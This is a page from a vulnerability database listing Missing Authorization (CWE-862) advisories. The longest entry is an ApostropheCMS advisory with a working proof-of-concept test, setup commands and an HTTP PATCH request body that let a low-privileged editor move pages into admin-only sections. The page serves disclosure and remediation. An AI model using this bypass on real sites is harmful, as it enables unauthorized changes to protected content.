CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
16504 vulnerabilities reference this CWE, most recent first.
GHSA-WR37-9FM6-9669
Vulnerability from github – Published: 2025-04-04 18:31 – Updated: 2026-04-01 18:34Missing Authorization vulnerability in WP Messiah Ai Image Alt Text Generator for WP allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Ai Image Alt Text Generator for WP: from n/a through 1.0.8.
{
"affected": [],
"aliases": [
"CVE-2025-32217"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-04T16:15:30Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WP Messiah Ai Image Alt Text Generator for WP allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Ai Image Alt Text Generator for WP: from n/a through 1.0.8.",
"id": "GHSA-wr37-9fm6-9669",
"modified": "2026-04-01T18:34:31Z",
"published": "2025-04-04T18:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32217"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/ai-image-alt-text-generator-for-wp/vulnerability/wordpress-ai-image-alt-text-generator-for-wp-plugin-1-0-8-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WR3P-XGC8-6XF5
Vulnerability from github – Published: 2026-03-02 21:31 – Updated: 2026-03-06 06:30In multiple functions of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-48578"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-02T19:16:26Z",
"severity": "HIGH"
},
"details": "In multiple functions of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
"id": "GHSA-wr3p-xgc8-6xf5",
"modified": "2026-03-06T06:30:29Z",
"published": "2026-03-02T21:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48578"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2026-03-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WR5P-RP9H-M83H
Vulnerability from github – Published: 2026-09-09 03:30 – Updated: 2026-09-09 15:34Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-87487"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T01:17:05Z",
"severity": "HIGH"
},
"details": "Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-wr5p-rp9h-m83h",
"modified": "2026-09-09T15:34:57Z",
"published": "2026-09-09T03:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87487"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0808145027.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/495429423"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WR5R-WQP2-X4FH
Vulnerability from github – Published: 2026-09-03 20:05 – Updated: 2026-09-03 20:05Summary
ApostropheCMS enforces per-type authorization on pages: a page type may declare editRole / publishRole (and the core @apostrophecms/archive-page does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The move() operation is supposed to enforce that a page may only be moved into a parent the actor has create rights over — this is the same boundary the page-insert route enforces (the insert target is fetched with .permission('create')).
A regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && (oldParent.type === '@apostrophecms/archive-page' && !parent._edit). Because the final && clause requires oldParent.type === '@apostrophecms/archive-page', the whole conjunction can only be true while restoring a page out of the archive. For any ordinary move (the source page's old parent is a normal page), that clause is false, the entire condition is false, and !parent._create is never evaluated. The only surviving gate in the whole path is moved._edit — i.e. "can the actor edit the page being moved", which a low-privileged editor legitimately holds for their own ordinary pages.
The result is that any authenticated user who can edit at least one page can relocate that page under a parent of a restricted type they have no create/edit rights over, and in doing so trigger an unauthenticated, unchecked updateMany that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented PATCH/PUT /api/v1/@apostrophecms/page/:_id REST routes via the attacker-controlled _targetId / _position body fields.
Affected code (4.31.0)
The broken guard in move() — packages/apostrophe/modules/@apostrophecms/page/index.js:
if (!moved._edit) {
throw self.apos.error('forbidden');
}
if (!(parent && oldParent)) {
// Move outside tree
throw self.apos.error('forbidden');
}
if (
(oldParent._id !== parent._id) &&
(parent.type !== '@apostrophecms/archive-page') &&
(!parent._create) &&
(oldParent.type === '@apostrophecms/archive-page' && !parent._edit) // <-- regression: gates the whole check on "moving out of the archive"
) {
throw self.apos.error('forbidden');
}
The target/parent is fetched with permission filtering explicitly OFF (so the guard above is the only thing that is supposed to enforce destination authorization) — getTarget():
const target = await self.findForEditing(_req, criteria)
.permission(false) // target is located regardless of the actor's rights
.archived(null)
.areas(false)
.ancestors({ depth: 1, ... permission: false })
.children({ depth: 1, ... permission: false }).toObject();
The privileged sink that then runs unguarded — nudgeNewPeers() re-ranks the destination parent's existing children with a raw DB write and no permission check:
async function nudgeNewPeers() {
const locale = moved.aposLocale.split(':')[0];
const criteria = {
path: self.matchDescendants(parent),
aposLocale: { $in: [ `${locale}:draft`, `${locale}:published` ] },
level: parent.level + 1,
rank: { $gte: rank }
};
// Nudge down the pages that should now follow us
await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } });
...
}
The REST entry point — the patch route reaches move() after only the moved._edit gate, with attacker-controlled _targetId / _position:
const page = await self.findOneForEditing(req, { _id });
...
if (!page._edit) {
throw self.apos.error('forbidden');
}
...
if (input._targetId) {
const targetId = self.apos.launder.string(input._targetId);
const position = self.apos.launder.string(input._position);
modified = await self.move(req, page._id, targetId, position);
}
For comparison, the sibling page-insert route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets notfound:
// post route (insert)
const target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied
Provenance (introduced regression)
The guard was correct until commit 9f72bd229be07e537a2ae894f4527f2fe6bcd3bd ("allow restore pages"), which changed it from (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) to the four-clause version above. The intent was to stop legitimate archive restores (where parent._create can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire _create enforcement on oldParent being the archive — silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).
Attacker model / precondition
The attacker is a low-privileged but content-editing authenticated user — in the core role model an editor or (in draft mode) a contributor — who can edit at least one ordinary page. No admin rights, no special tokens.
The differentiated-permission boundary that makes this a bypass must exist in the project. In core, permission.can(req, 'create'/'edit', type) is computed per page-type via checkRoleConfig('editRole'), so the boundary is present whenever a project configures a page type (or the archive) with an editRole / publishRole higher than the actor's role, or uses per-page editPermission / the @apostrophecms/workflow add-on to make _edit / _create page-specific. The core @apostrophecms/archive-page already ships editRole: 'admin' / publishRole: 'admin', and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact — hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.
Impact
A user with no create/edit rights over a restricted page-type subtree can:
- Relocate a page they control into that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and
- Cause an unchecked
updateManyto re-rank the restricted parent's existing children — i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.
This is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) — confidentiality impact is None — and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.
Proof of Concept (complete — runs on 127.0.0.1 only)
The PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real apos.page.move() code path with a non-admin editor request. It creates an admin-only section page type (editRole: 'admin'), an admin-owned secret section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.
Environment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.
# 1. Disposable MongoDB on 127.0.0.1
docker run -d --name apos-mongo -p 27017:27017 mongo:7
# 2. Repo at the anchor
git clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe
cd /tmp/dh-apostrophe
git checkout 68f1312d3 # 4.31.0 line
npm i -g pnpm
pnpm install --filter apostrophe...
# 3. Drop in the PoC test and run it
cd /tmp/dh-apostrophe/packages/apostrophe
# (write test/poc-move-bac.js below, then:)
npx mocha test/poc-move-bac.js
packages/apostrophe/test/poc-move-bac.js:
// PoC: Broken Access Control in apos.page.move()
// A non-admin (editor) can move a page they may edit UNDER a parent page
// whose type is admin-only (editRole: 'admin'), bypassing the destination
// "create" permission check that move() is supposed to enforce.
const t = require('../test-lib/test.js');
const assert = require('assert');
describe('PoC move BAC', function() {
let apos;
this.timeout(t.timeout);
after(async function() {
await t.destroy(apos);
apos = null;
});
before(async function() {
apos = await t.create({
root: module,
modules: {
// A restricted page type: only admins may edit/create pages of this type.
'secret-page': {
extend: '@apostrophecms/page-type',
options: {
editRole: 'admin',
publishRole: 'admin'
}
},
// An ordinary page type any editor can edit/create.
'public-page': {
extend: '@apostrophecms/page-type'
},
'@apostrophecms/page': {
options: {
park: [],
types: [
{ name: '@apostrophecms/home-page', label: 'Home' },
{ name: 'secret-page', label: 'Secret' },
{ name: 'public-page', label: 'Public' }
]
}
}
}
});
});
it('demonstrates the BAC', async function() {
const adminReq = apos.task.getReq({ role: 'admin' });
const home = await apos.page.find(adminReq, { level: 0 }).toObject();
// Admin creates an admin-only "secret" section page directly under home.
const secret = await apos.page.insert(adminReq, home._id, 'lastChild', {
title: 'Secret Section',
type: 'secret-page',
slug: '/secret'
});
// Admin creates a pre-existing CHILD inside the secret section. Its rank
// must NOT be silently rewritten by a lower-priv user's move.
const secretChild = await apos.page.insert(adminReq, secret._id, 'lastChild', {
title: 'Secret Child',
type: 'secret-page',
slug: '/secret/child'
});
const secretChildBefore = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();
// A non-admin EDITOR. Editors can edit/create ordinary pages but NOT
// pages of type secret-page (editRole: admin).
const editorReq = apos.task.getReq({
role: 'editor',
user: { _id: 'editor-user', title: 'Editor', role: 'editor' }
});
// The editor creates an ordinary page under home (allowed).
const mine = await apos.page.insert(editorReq, home._id, 'lastChild', {
title: 'My Page',
type: 'public-page',
slug: '/mine'
});
// Sanity: confirm the editor genuinely lacks create/edit rights on the
// secret section (so a move under it MUST be forbidden).
const secretForEditor = await apos.page.find(editorReq, { _id: secret._id })
.permission(false).toObject();
console.log('PRECONDITION editor._create on secret =', secretForEditor._create,
' editor._edit on secret =', secretForEditor._edit);
assert.strictEqual(secretForEditor._create, undefined,
'precondition: editor must NOT have create rights on the admin-only section');
// THE ATTACK: editor moves their ordinary page UNDER the admin-only
// secret section. This SHOULD throw "forbidden". If it succeeds, BAC.
// Use 'firstChild' so the moved page takes rank 0 and the pre-existing
// admin-only child must be nudged from rank 0 -> 1 (a write to a doc the
// editor cannot edit).
let moveError = null;
try {
await apos.page.move(editorReq, mine._id, secret._id, 'firstChild');
} catch (e) {
moveError = e;
}
const moved = await apos.page.find(adminReq, { _id: mine._id }).toObject();
const secretChildAfter = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();
console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)');
console.log('moved page path:', moved && moved.path);
console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId));
console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank);
// Assertions that prove the vulnerability:
assert.strictEqual(moveError, null,
'VULN NOT PRESENT: move was correctly forbidden');
assert.ok(moved.path.includes(secret.aposDocId),
'VULN: editor relocated their page under the admin-only section');
assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank,
'VULN: editor re-ranked an admin-only sibling page they cannot edit');
console.log('\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***');
});
});
Observed output (4.31.0, commit 68f1312d3):
PoC move BAC
Listening at http://localhost:34129
PRECONDITION editor._create on secret = undefined editor._edit on secret = undefined
move threw: NOTHING (move succeeded)
moved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d
moved page is now under secret? true
secret child rank BEFORE: 0 AFTER: 1
*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***
✔ demonstrates the BAC (390ms)
1 passing (6s)
The precondition holds (editor._create on secret = undefined), the move did not throw (NOTHING), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft with body { "_targetId": "<restrictedSectionId>:en:draft", "_position": "firstChild" } (the route reaches move() after only the page._edit gate on the moved page).
Remediation
Restore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:
if (
(oldParent._id !== parent._id) &&
(parent.type !== '@apostrophecms/archive-page') &&
(!parent._create) &&
!(oldParent.type === '@apostrophecms/archive-page' && parent._edit)
) {
throw self.apos.error('forbidden');
}
That is: a cross-parent move into a non-archive destination is forbidden unless the actor has create on the destination — with the single exception that restoring a page out of the archive into a destination the actor may edit is allowed. Equivalently, fetch the destination with .permission('create') (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher editRole/publishRole, mirroring the PoC above.
Please credit 5ud0 / Tarmo Technologies.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.31.0"
},
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63669"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T20:05:08Z",
"nvd_published_at": "2026-08-17T20:16:44Z",
"severity": "MODERATE"
},
"details": "## Summary\nApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (and the core `@apostrophecms/archive-page` does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The `move()` operation is supposed to enforce that a page may only be moved *into* a parent the actor has **create** rights over \u2014 this is the same boundary the page-insert route enforces (the insert target is fetched with `.permission(\u0027create\u0027)`).\n\nA regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads `(oldParent._id !== parent._id) \u0026\u0026 (parent.type !== \u0027@apostrophecms/archive-page\u0027) \u0026\u0026 (!parent._create) \u0026\u0026 (oldParent.type === \u0027@apostrophecms/archive-page\u0027 \u0026\u0026 !parent._edit)`. Because the final `\u0026\u0026` clause requires `oldParent.type === \u0027@apostrophecms/archive-page\u0027`, the whole conjunction can only be true while restoring a page *out of the archive*. For any ordinary move (the source page\u0027s old parent is a normal page), that clause is `false`, the entire condition is `false`, and `!parent._create` is never evaluated. The only surviving gate in the whole path is `moved._edit` \u2014 i.e. \"can the actor edit the page being moved\", which a low-privileged editor legitimately holds for their own ordinary pages.\n\nThe result is that any authenticated user who can edit at least one page can relocate that page **under a parent of a restricted type they have no create/edit rights over**, and in doing so trigger an unauthenticated, unchecked `updateMany` that re-ranks the restricted parent\u0027s existing children (documents the actor cannot edit). This is reachable directly from the documented `PATCH`/`PUT /api/v1/@apostrophecms/page/:_id` REST routes via the attacker-controlled `_targetId` / `_position` body fields.\n\n## Affected code (4.31.0)\n\nThe broken guard in `move()` \u2014 `packages/apostrophe/modules/@apostrophecms/page/index.js`:\n\n```js\nif (!moved._edit) {\n throw self.apos.error(\u0027forbidden\u0027);\n}\nif (!(parent \u0026\u0026 oldParent)) {\n // Move outside tree\n throw self.apos.error(\u0027forbidden\u0027);\n}\nif (\n (oldParent._id !== parent._id) \u0026\u0026\n (parent.type !== \u0027@apostrophecms/archive-page\u0027) \u0026\u0026\n (!parent._create) \u0026\u0026\n (oldParent.type === \u0027@apostrophecms/archive-page\u0027 \u0026\u0026 !parent._edit) // \u003c-- regression: gates the whole check on \"moving out of the archive\"\n) {\n throw self.apos.error(\u0027forbidden\u0027);\n}\n```\n\nThe target/parent is fetched with permission filtering explicitly OFF (so the guard above is the *only* thing that is supposed to enforce destination authorization) \u2014 `getTarget()`:\n\n```js\nconst target = await self.findForEditing(_req, criteria)\n .permission(false) // target is located regardless of the actor\u0027s rights\n .archived(null)\n .areas(false)\n .ancestors({ depth: 1, ... permission: false })\n .children({ depth: 1, ... permission: false }).toObject();\n```\n\nThe privileged sink that then runs unguarded \u2014 `nudgeNewPeers()` re-ranks the destination parent\u0027s existing children with a raw DB write and no permission check:\n\n```js\nasync function nudgeNewPeers() {\n const locale = moved.aposLocale.split(\u0027:\u0027)[0];\n const criteria = {\n path: self.matchDescendants(parent),\n aposLocale: { $in: [ `${locale}:draft`, `${locale}:published` ] },\n level: parent.level + 1,\n rank: { $gte: rank }\n };\n // Nudge down the pages that should now follow us\n await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } });\n ...\n}\n```\n\nThe REST entry point \u2014 the `patch` route reaches `move()` after only the `moved._edit` gate, with attacker-controlled `_targetId` / `_position`:\n\n```js\nconst page = await self.findOneForEditing(req, { _id });\n...\nif (!page._edit) {\n throw self.apos.error(\u0027forbidden\u0027);\n}\n...\nif (input._targetId) {\n const targetId = self.apos.launder.string(input._targetId);\n const position = self.apos.launder.string(input._position);\n modified = await self.move(req, page._id, targetId, position);\n}\n```\n\nFor comparison, the sibling page-**insert** route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets `notfound`:\n\n```js\n// post route (insert)\nconst target = await self.getTarget(req, ...).permission(\u0027create\u0027) ... // restricted target is not found -\u003e insert denied\n```\n\n### Provenance (introduced regression)\nThe guard was correct until commit `9f72bd229be07e537a2ae894f4527f2fe6bcd3bd` (\"allow restore pages\"), which changed it from `(oldParent._id !== parent._id) \u0026\u0026 (parent.type !== \u0027@apostrophecms/archive-page\u0027) \u0026\u0026 (!parent._create)` to the four-clause version above. The intent was to stop legitimate *archive restores* (where `parent._create` can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire `_create` enforcement on `oldParent` being the archive \u2014 silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).\n\n## Attacker model / precondition\nThe attacker is a low-privileged but content-editing authenticated user \u2014 in the core role model an `editor` or (in draft mode) a `contributor` \u2014 who can edit at least one ordinary page. No admin rights, no special tokens.\n\nThe differentiated-permission boundary that makes this a *bypass* must exist in the project. In core, `permission.can(req, \u0027create\u0027/\u0027edit\u0027, type)` is computed per page-type via `checkRoleConfig(\u0027editRole\u0027)`, so the boundary is present whenever a project configures a page type (or the archive) with an `editRole` / `publishRole` higher than the actor\u0027s role, or uses per-page `editPermission` / the `@apostrophecms/workflow` add-on to make `_edit` / `_create` page-specific. The core `@apostrophecms/archive-page` already ships `editRole: \u0027admin\u0027` / `publishRole: \u0027admin\u0027`, and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact \u2014 hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.\n\n## Impact\nA user with no create/edit rights over a restricted page-type subtree can:\n\n- Relocate a page they control **into** that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch\u0027s path, and altering site structure across an authorization boundary), and\n- Cause an unchecked `updateMany` to **re-rank the restricted parent\u0027s existing children** \u2014 i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.\n\nThis is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) \u2014 confidentiality impact is None \u2014 and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nThe PoC uses ApostropheCMS\u0027s own test harness (a real Apostrophe instance + MongoDB) to drive the real `apos.page.move()` code path with a non-admin `editor` request. It creates an admin-only section page type (`editRole: \u0027admin\u0027`), an admin-owned `secret` section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.\n\nEnvironment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.\n\n```bash\n# 1. Disposable MongoDB on 127.0.0.1\ndocker run -d --name apos-mongo -p 27017:27017 mongo:7\n\n# 2. Repo at the anchor\ngit clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe\ncd /tmp/dh-apostrophe\ngit checkout 68f1312d3 # 4.31.0 line\nnpm i -g pnpm\npnpm install --filter apostrophe...\n\n# 3. Drop in the PoC test and run it\ncd /tmp/dh-apostrophe/packages/apostrophe\n# (write test/poc-move-bac.js below, then:)\nnpx mocha test/poc-move-bac.js\n```\n\n`packages/apostrophe/test/poc-move-bac.js`:\n\n```js\n// PoC: Broken Access Control in apos.page.move()\n// A non-admin (editor) can move a page they may edit UNDER a parent page\n// whose type is admin-only (editRole: \u0027admin\u0027), bypassing the destination\n// \"create\" permission check that move() is supposed to enforce.\nconst t = require(\u0027../test-lib/test.js\u0027);\nconst assert = require(\u0027assert\u0027);\n\ndescribe(\u0027PoC move BAC\u0027, function() {\n let apos;\n this.timeout(t.timeout);\n\n after(async function() {\n await t.destroy(apos);\n apos = null;\n });\n\n before(async function() {\n apos = await t.create({\n root: module,\n modules: {\n // A restricted page type: only admins may edit/create pages of this type.\n \u0027secret-page\u0027: {\n extend: \u0027@apostrophecms/page-type\u0027,\n options: {\n editRole: \u0027admin\u0027,\n publishRole: \u0027admin\u0027\n }\n },\n // An ordinary page type any editor can edit/create.\n \u0027public-page\u0027: {\n extend: \u0027@apostrophecms/page-type\u0027\n },\n \u0027@apostrophecms/page\u0027: {\n options: {\n park: [],\n types: [\n { name: \u0027@apostrophecms/home-page\u0027, label: \u0027Home\u0027 },\n { name: \u0027secret-page\u0027, label: \u0027Secret\u0027 },\n { name: \u0027public-page\u0027, label: \u0027Public\u0027 }\n ]\n }\n }\n }\n });\n });\n\n it(\u0027demonstrates the BAC\u0027, async function() {\n const adminReq = apos.task.getReq({ role: \u0027admin\u0027 });\n const home = await apos.page.find(adminReq, { level: 0 }).toObject();\n\n // Admin creates an admin-only \"secret\" section page directly under home.\n const secret = await apos.page.insert(adminReq, home._id, \u0027lastChild\u0027, {\n title: \u0027Secret Section\u0027,\n type: \u0027secret-page\u0027,\n slug: \u0027/secret\u0027\n });\n\n // Admin creates a pre-existing CHILD inside the secret section. Its rank\n // must NOT be silently rewritten by a lower-priv user\u0027s move.\n const secretChild = await apos.page.insert(adminReq, secret._id, \u0027lastChild\u0027, {\n title: \u0027Secret Child\u0027,\n type: \u0027secret-page\u0027,\n slug: \u0027/secret/child\u0027\n });\n const secretChildBefore = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();\n\n // A non-admin EDITOR. Editors can edit/create ordinary pages but NOT\n // pages of type secret-page (editRole: admin).\n const editorReq = apos.task.getReq({\n role: \u0027editor\u0027,\n user: { _id: \u0027editor-user\u0027, title: \u0027Editor\u0027, role: \u0027editor\u0027 }\n });\n\n // The editor creates an ordinary page under home (allowed).\n const mine = await apos.page.insert(editorReq, home._id, \u0027lastChild\u0027, {\n title: \u0027My Page\u0027,\n type: \u0027public-page\u0027,\n slug: \u0027/mine\u0027\n });\n\n // Sanity: confirm the editor genuinely lacks create/edit rights on the\n // secret section (so a move under it MUST be forbidden).\n const secretForEditor = await apos.page.find(editorReq, { _id: secret._id })\n .permission(false).toObject();\n console.log(\u0027PRECONDITION editor._create on secret =\u0027, secretForEditor._create,\n \u0027 editor._edit on secret =\u0027, secretForEditor._edit);\n assert.strictEqual(secretForEditor._create, undefined,\n \u0027precondition: editor must NOT have create rights on the admin-only section\u0027);\n\n // THE ATTACK: editor moves their ordinary page UNDER the admin-only\n // secret section. This SHOULD throw \"forbidden\". If it succeeds, BAC.\n // Use \u0027firstChild\u0027 so the moved page takes rank 0 and the pre-existing\n // admin-only child must be nudged from rank 0 -\u003e 1 (a write to a doc the\n // editor cannot edit).\n let moveError = null;\n try {\n await apos.page.move(editorReq, mine._id, secret._id, \u0027firstChild\u0027);\n } catch (e) {\n moveError = e;\n }\n\n const moved = await apos.page.find(adminReq, { _id: mine._id }).toObject();\n const secretChildAfter = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();\n\n console.log(\u0027move threw:\u0027, moveError ? moveError.name : \u0027NOTHING (move succeeded)\u0027);\n console.log(\u0027moved page path:\u0027, moved \u0026\u0026 moved.path);\n console.log(\u0027moved page is now under secret?\u0027, moved \u0026\u0026 moved.path.includes(secret.aposDocId));\n console.log(\u0027secret child rank BEFORE:\u0027, secretChildBefore.rank, \u0027 AFTER:\u0027, secretChildAfter.rank);\n\n // Assertions that prove the vulnerability:\n assert.strictEqual(moveError, null,\n \u0027VULN NOT PRESENT: move was correctly forbidden\u0027);\n assert.ok(moved.path.includes(secret.aposDocId),\n \u0027VULN: editor relocated their page under the admin-only section\u0027);\n assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank,\n \u0027VULN: editor re-ranked an admin-only sibling page they cannot edit\u0027);\n\n console.log(\u0027\\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***\u0027);\n });\n});\n```\n\nObserved output (4.31.0, commit `68f1312d3`):\n\n```\n PoC move BAC\nListening at http://localhost:34129\nPRECONDITION editor._create on secret = undefined editor._edit on secret = undefined\nmove threw: NOTHING (move succeeded)\nmoved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d\nmoved page is now under secret? true\nsecret child rank BEFORE: 0 AFTER: 1\n\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***\n \u2714 demonstrates the BAC (390ms)\n\n 1 passing (6s)\n```\n\nThe precondition holds (`editor._create on secret = undefined`), the move did not throw (`NOTHING`), the editor\u0027s page is now physically under the admin-only section\u0027s path, and the protected sibling\u0027s rank was rewritten (0 \u2192 1) by the editor\u0027s request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via `PATCH /api/v1/@apostrophecms/page/\u003cmyPageId\u003e:en:draft` with body `{ \"_targetId\": \"\u003crestrictedSectionId\u003e:en:draft\", \"_position\": \"firstChild\" }` (the route reaches `move()` after only the `page._edit` gate on the moved page).\n\n## Remediation\nRestore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:\n\n```js\nif (\n (oldParent._id !== parent._id) \u0026\u0026\n (parent.type !== \u0027@apostrophecms/archive-page\u0027) \u0026\u0026\n (!parent._create) \u0026\u0026\n !(oldParent.type === \u0027@apostrophecms/archive-page\u0027 \u0026\u0026 parent._edit)\n) {\n throw self.apos.error(\u0027forbidden\u0027);\n}\n```\n\nThat is: a cross-parent move into a non-archive destination is forbidden unless the actor has `create` on the destination \u2014 with the single exception that restoring a page *out of the archive* into a destination the actor may `edit` is allowed. Equivalently, fetch the destination with `.permission(\u0027create\u0027)` (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher `editRole`/`publishRole`, mirroring the PoC above.\n\nPlease credit 5ud0 / Tarmo Technologies.",
"id": "GHSA-wr5r-wqp2-x4fh",
"modified": "2026-09-03T20:05:08Z",
"published": "2026-09-03T20:05:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wr5r-wqp2-x4fh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63669"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/d50c6ad61b9c1788958752358f1fca714cc8368c"
},
{
"type": "PACKAGE",
